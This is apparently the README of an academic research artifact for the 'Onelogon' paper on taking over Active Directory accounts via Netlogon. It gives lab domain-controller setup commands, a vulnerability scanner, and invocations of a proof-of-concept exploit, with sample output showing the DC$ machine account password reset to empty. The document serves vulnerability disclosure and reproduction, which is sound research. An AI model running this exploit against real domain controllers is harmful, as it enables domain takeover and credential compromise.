
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
이 저장소는 논문 Onelogon: Netlogon을 통한 Active Directory 계정 탈취(WOOT'26)에 수반되는 코드와 데이터를 포함합니다.
이 논문에서 설명하는 취약점은 Zerologon 취약점에 대한 2020년 암호화 패치의 약점을 공격합니다. Netlogon 서명 및 봉인(signing and sealing)을 지원하지 않는 레거시 설정에 대한 지원을 허용하기 위한 그룹 정책에 나열된 계정은 이 공격에 취약합니다. 취약점, 예상되는 전체 공격 체인 및 가능한 완화 방법에 대한 자세한 설명은 논문에서 확인할 수 있습니다.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
이 아티팩트는 스캐너와 익스플로잇을 위한 Python poetry 프로젝트로 구성됩니다.
아티팩트에 포함된 스크립트를 실행하려면 Python(3.12 이상)과 poetry(설치 안내) 또는 uv(설치 안내)를 설치하세요. 간단히 하기 위해 poetry를 사용한다고 가정하고 명령어를 나열합니다. uv를 사용하려면 poetry를 uv로 바꾸기만 하면 됩니다.
이 문서의 모든 명령은 아티팩트 루트 디렉터리(이 README가 있는 곳)에서 실행해야 합니다.
poetry를 사용하는 경우 poetry install을 실행하여 모든 의존성을 설치하세요.
논문의 결과를 재현하려면 Zerologon이 패치된 Windows Server 버전을 사용하여 도메인 컨트롤러를 설정할 수 있습니다(2019 및 2025 버전 모두에서 익스플로잇을 확인했습니다).
Windows Server 2025를 새로 설치한 환경에서 도메인 컨트롤러를 설정하려면 다음 명령을 실행하세요:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
이 취약점은 Domain Controller: Allow vulnerable Netlogon secure channel connections 그룹 정책 개체 또는 해당 레지스트리 키의 DACL에 나열된 모든 계정에 적용됩니다:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
도메인 컨트롤러에서 이러한 매개변수를 수동으로 구성할 수 있으며(GPO 항목을 업데이트하는 경우 gpupdate /force를 실행해야 합니다), 다음 명령을 실행하여 모든 계정을 레지스트리 키의 DACL에 추가할 수도 있습니다:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
도메인 컨트롤러가 VulnerableChannelAllowList에 나열하는 계정을 확인하기 위해, 도메인 컨트롤러의 레지스트리 하이브와 GPO 볼륨 공유를 구문 분석하는 스캐너를 제공합니다.
이 스캔을 위해 레지스트리에 접근하려면 도메인 관리자 권한이 필요합니다(물론 익스플로잇에는 필요하지 않습니다).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
긍정적 스캔 결과(도메인 컨트롤러에 취약한 계정이 있음)는 취약한 계정이 포함된 보안 설명자(Microsoft의 SDDL(Security Descriptor Definition Language) 형식)를 표시합니다:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
부정적 결과(대상 DC가 취약하지 않음)는 대신 다음과 같이 표시됩니다:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
대상 도메인 컨트롤러에 대해 개념 증명(PoC) 익스플로잇을 실행하려면 먼저 취약한 계정을 선택하세요. 도메인 컨트롤러의 IP 주소, 호스트 이름, 취약한 계정의 이름이 필요합니다.
예제 설정에서 취약한 도메인 컨트롤러의 이름은 DC입니다.
해당 컴퓨터 계정(DC$)은 GPO 정책에 포함되어 있으므로 Onelogon에 취약합니다.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
예시로, 테스트 환경에 대해 meet-in-the-middle 공격을 성공적으로 실행한 출력을 제공합니다:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
논문의 표 1에 있는 측정값을 재현하려면 이전 섹션에 설명된 네 가지 익스플로잇을 모두 실행하세요.
전체 공격을 완료하지 않고도 예상 공격 시간을 얻을 수 있습니다. 특히 naive 방식의 경우 전체 공격은 비용이 너무 많이 들기 때문입니다.
타임아웃을 기다리는 32비트 브루트포스의 속도는 클라이언트 챌린지의 유효 기간에 의해 제한됩니다. 전체 사이클(100k 챌린지를 처리할 수 있는)은 120초(챌린지 목록이 지워지는 타임아웃)가 걸립니다. 따라서 예상 공격 시간은 항상 $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$입니다.
컴퓨터 계정을 사용하는 공격(32비트 및 24비트 공격 모두)의 경우 출력의 TOTAL STATS 섹션에서 시도당 평균 시간 $t$를 가져옵니다. 32비트 공격은 평균적으로 $2^{31}$번의 시도가 필요합니다(총 예상 시간은 $2^{31}t$). 마찬가지로 24비트 공격의 예상 시간은 $2^{23}t$입니다.
meet-in-the-middle 방식의 경우 120초의 챌린지 만료 시간 내에 가능한 모든 클라이언트 자격 증명을 시도할 수 없습니다.
대신 공격의 예상 시간은 해당 시간 내에 수행할 수 있는 인증 시도 횟수에 의해 결정됩니다.
이 값을 얻으려면 출력의 TOTAL STATS 섹션에서 사이클당 평균 시도 횟수 $a$를 가져옵니다.
50%의 성공률을 얻으려면 평균적으로 $2^{15}$번의 인증 시도가 필요하므로, 예상 공격 시간은 단순히 $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$입니다.
얻어지는 정확한 시간은 정확한 하드웨어 및 소프트웨어 설정에 따라 달라집니다.